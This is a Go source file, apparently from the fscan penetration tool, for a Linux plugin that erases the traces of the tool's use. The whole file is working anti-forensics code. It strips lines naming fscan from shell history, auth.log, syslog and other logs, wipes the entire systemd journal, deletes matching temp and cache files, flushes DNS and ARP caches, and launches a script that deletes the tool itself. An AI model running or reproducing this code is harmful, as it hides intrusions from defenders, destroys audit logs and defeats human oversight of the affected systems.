//go:build linux package cleaner import ( "fmt" "os" "os/exec" "path/filepath" "strings" "time" "github.com/shadow1ng/fscan/common" ) // cleanSystemTraces 清理Linux系统痕迹 func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} { report := make(map[string]interface{}) var cleaned []string // 1. 清理Shell历史记录 if shellHistory := p.cleanShellHistory(); len(shellHistory) > 0 { cleaned = append(cleaned, shellHistory...) report["shell_history"] = shellHistory } // 2. 清理系统日志 if systemLogs := p.cleanLinuxSystemLogs(); len(systemLogs) > 0 { cleaned = append(cleaned, systemLogs...) report["system_logs"] = systemLogs } // 3. 清理临时文件 if tempFiles := p.cleanLinuxTempFiles(); len(tempFiles) > 0 { cleaned = append(cleaned, tempFiles...) report["temp_files"] = tempFiles } // 4. 清理用户缓存 if userCache := p.cleanUserCache(); len(userCache) > 0 { cleaned = append(cleaned, userCache...) report["user_cache"] = userCache } // 5. 清理最近访问记录 if recentFiles := p.cleanRecentFiles(); len(recentFiles) > 0 { cleaned = append(cleaned, recentFiles...) report["recent_files"] = recentFiles } p.cleanupStats["system_entries"] += len(cleaned) report["total_cleaned"] = len(cleaned) return report } // cleanShellHistory 清理Shell历史记录 func (p *CleanerPlugin) cleanShellHistory() []string { var cleaned []string homeDir := os.Getenv("HOME") if homeDir == "" { return cleaned } // 常见的Shell历史文件 historyFiles := []string{ ".bash_history", ".zsh_history", ".fish_history", ".sh_history", } for _, histFile := range historyFiles { histPath := filepath.Join(homeDir, histFile) // 检查文件是否存在 if _, err := os.Stat(histPath); os.IsNotExist(err) { continue } // 读取历史文件 content, err := os.ReadFile(histPath) if err != nil { common.LogDebug(fmt.Sprintf("无法读取历史文件 %s: %v", histPath, err)) continue } // 过滤掉包含fscan的行 lines := strings.Split(string(content), "\n") var filteredLines []string removedCount := 0 for _, line := range lines { if strings.Contains(strings.ToLower(line), "fscan") { removedCount++ continue } filteredLines = append(filteredLines, line) } if removedCount > 0 { // 写回过滤后的内容 newContent := strings.Join(filteredLines, "\n") if err := os.WriteFile(histPath, []byte(newContent), 0600); err != nil { common.LogError(fmt.Sprintf("更新历史文件失败 %s: %v", histPath, err)) } else { cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", histPath, removedCount)) common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", histFile, removedCount)) } } } // 清理当前会话的历史记录 if err := exec.Command("history", "-c").Run(); err != nil { common.LogDebug(fmt.Sprintf("清理当前会话历史失败: %v", err)) } else { cleaned = append(cleaned, "Current session history") common.LogSuccess("已清理当前会话历史记录") } return cleaned } // cleanLinuxSystemLogs 清理Linux系统日志 func (p *CleanerPlugin) cleanLinuxSystemLogs() []string { var cleaned []string // 系统日志路径 logPaths := []string{ "/var/log/auth.log", "/var/log/syslog", "/var/log/messages", "/var/log/secure", "/var/log/user.log", } for _, logPath := range logPaths { if _, err := os.Stat(logPath); os.IsNotExist(err) { continue } // 尝试清理日志中的相关条目 if p.filterLogFile(logPath) { cleaned = append(cleaned, logPath) } } // 清理journal日志(如果有权限) if err := exec.Command("journalctl", "--vacuum-time=1s").Run(); err != nil { common.LogDebug(fmt.Sprintf("清理journal日志失败 (权限不足): %v", err)) } else { cleaned = append(cleaned, "systemd journal") common.LogSuccess("已清理systemd journal日志") } return cleaned } // filterLogFile 过滤日志文件 func (p *CleanerPlugin) filterLogFile(logPath string) bool { // 检查读写权限 file, err := os.OpenFile(logPath, os.O_RDWR, 0) if err != nil { common.LogDebug(fmt.Sprintf("无法访问日志文件 %s (权限不足): %v", logPath, err)) return false } defer file.Close() // 读取文件内容 content, err := os.ReadFile(logPath) if err != nil { return false } // 过滤包含fscan的行 lines := strings.Split(string(content), "\n") var filteredLines []string removedCount := 0 for _, line := range lines { if strings.Contains(strings.ToLower(line), "fscan") { removedCount++ continue } filteredLines = append(filteredLines, line) } if removedCount > 0 { // 写回过滤后的内容 newContent := strings.Join(filteredLines, "\n") if err := os.WriteFile(logPath, []byte(newContent), 0644); err != nil { common.LogError(fmt.Sprintf("更新日志文件失败 %s: %v", logPath, err)) return false } common.LogSuccess(fmt.Sprintf("已从 %s 清理 %d 条记录", filepath.Base(logPath), removedCount)) return true } return false } // cleanLinuxTempFiles 清理Linux临时文件 func (p *CleanerPlugin) cleanLinuxTempFiles() []string { var cleaned []string // 临时目录 tempDirs := []string{ "/tmp", "/var/tmp", "/dev/shm", } // 用户临时目录 if homeDir := os.Getenv("HOME"); homeDir != "" { tempDirs = append(tempDirs, filepath.Join(homeDir, ".tmp")) } for _, tempDir := range tempDirs { entries, err := os.ReadDir(tempDir) if err != nil { continue } for _, entry := range entries { if entry.IsDir() { continue } filename := strings.ToLower(entry.Name()) if strings.Contains(filename, "fscan") || strings.HasPrefix(filename, "tmp") { tempFile := filepath.Join(tempDir, entry.Name()) // 检查文件是否太新(可能正在使用) if info, err := entry.Info(); err == nil { if time.Since(info.ModTime()) < 5*time.Minute { continue } } if err := os.Remove(tempFile); err != nil { common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err)) } else { cleaned = append(cleaned, tempFile) common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name())) } } } } return cleaned } // cleanUserCache 清理用户缓存 func (p *CleanerPlugin) cleanUserCache() []string { var cleaned []string homeDir := os.Getenv("HOME") if homeDir == "" { return cleaned } // 缓存目录 cacheDirs := []string{ filepath.Join(homeDir, ".cache"), filepath.Join(homeDir, ".local", "share"), } for _, cacheDir := range cacheDirs { entries, err := os.ReadDir(cacheDir) if err != nil { continue } for _, entry := range entries { entryPath := filepath.Join(cacheDir, entry.Name()) entryName := strings.ToLower(entry.Name()) if strings.Contains(entryName, "fscan") || strings.Contains(entryName, "scan") { if entry.IsDir() { if err := os.RemoveAll(entryPath); err != nil { common.LogDebug(fmt.Sprintf("删除缓存目录失败: %v", err)) } else { cleaned = append(cleaned, entryPath) p.cleanupStats["directories"]++ } } else { if err := os.Remove(entryPath); err != nil { common.LogDebug(fmt.Sprintf("删除缓存文件失败: %v", err)) } else { cleaned = append(cleaned, entryPath) } } } } } return cleaned } // cleanRecentFiles 清理最近访问文件记录 func (p *CleanerPlugin) cleanRecentFiles() []string { var cleaned []string homeDir := os.Getenv("HOME") if homeDir == "" { return cleaned } // 最近文件记录路径 recentPaths := []string{ filepath.Join(homeDir, ".local", "share", "recently-used.xbel"), filepath.Join(homeDir, ".recently-used"), filepath.Join(homeDir, ".gtk-bookmarks"), } for _, recentPath := range recentPaths { if _, err := os.Stat(recentPath); os.IsNotExist(err) { continue } // 读取并过滤文件内容 content, err := os.ReadFile(recentPath) if err != nil { continue } lines := strings.Split(string(content), "\n") var filteredLines []string removedCount := 0 for _, line := range lines { if strings.Contains(strings.ToLower(line), "fscan") { removedCount++ continue } filteredLines = append(filteredLines, line) } if removedCount > 0 { newContent := strings.Join(filteredLines, "\n") if err := os.WriteFile(recentPath, []byte(newContent), 0644); err != nil { common.LogError(fmt.Sprintf("更新最近文件记录失败: %v", err)) } else { cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", recentPath, removedCount)) common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", filepath.Base(recentPath), removedCount)) } } } return cleaned } // cleanNetworkTraces 清理网络痕迹 func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} { report := make(map[string]interface{}) var cleaned []string // 清理DNS缓存 (systemd-resolved) if err := exec.Command("systemctl", "flush-dns").Run(); err != nil { // 尝试其他DNS清理方法 if err2 := exec.Command("systemd-resolve", "--flush-caches").Run(); err2 != nil { common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v, %v", err, err2)) } else { cleaned = append(cleaned, "DNS Cache (systemd-resolve)") } } else { cleaned = append(cleaned, "DNS Cache (systemctl)") } // 清理ARP缓存 if err := exec.Command("ip", "neigh", "flush", "all").Run(); err != nil { common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err)) } else { cleaned = append(cleaned, "ARP Cache") common.LogSuccess("已清理ARP缓存") } report["network_caches"] = cleaned report["total_cleaned"] = len(cleaned) return report } // createUnixSelfDestruct 创建Unix自毁脚本 func (p *CleanerPlugin) createUnixSelfDestruct() map[string]interface{} { report := make(map[string]interface{}) // 创建shell自毁脚本 shellScript := fmt.Sprintf(`#!/bin/bash sleep 2 rm -f "%s" 2>/dev/null rm -f "$0" 2>/dev/null exit 0`, p.currentExecutable) scriptPath := filepath.Join(p.workingDirectory, "cleanup.sh") if err := os.WriteFile(scriptPath, []byte(shellScript), 0755); err != nil { common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err)) report["status"] = "failed" report["error"] = err.Error() } else { // 异步执行自毁脚本 go func() { time.Sleep(1 * time.Second) cmd := exec.Command("/bin/sh", scriptPath) cmd.Start() }() report["status"] = "scheduled" report["script_path"] = scriptPath common.LogInfo("已创建自毁脚本,将在退出后执行") } return report } // prepareSelfDestruction 准备自毁 func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} { return p.createUnixSelfDestruct() }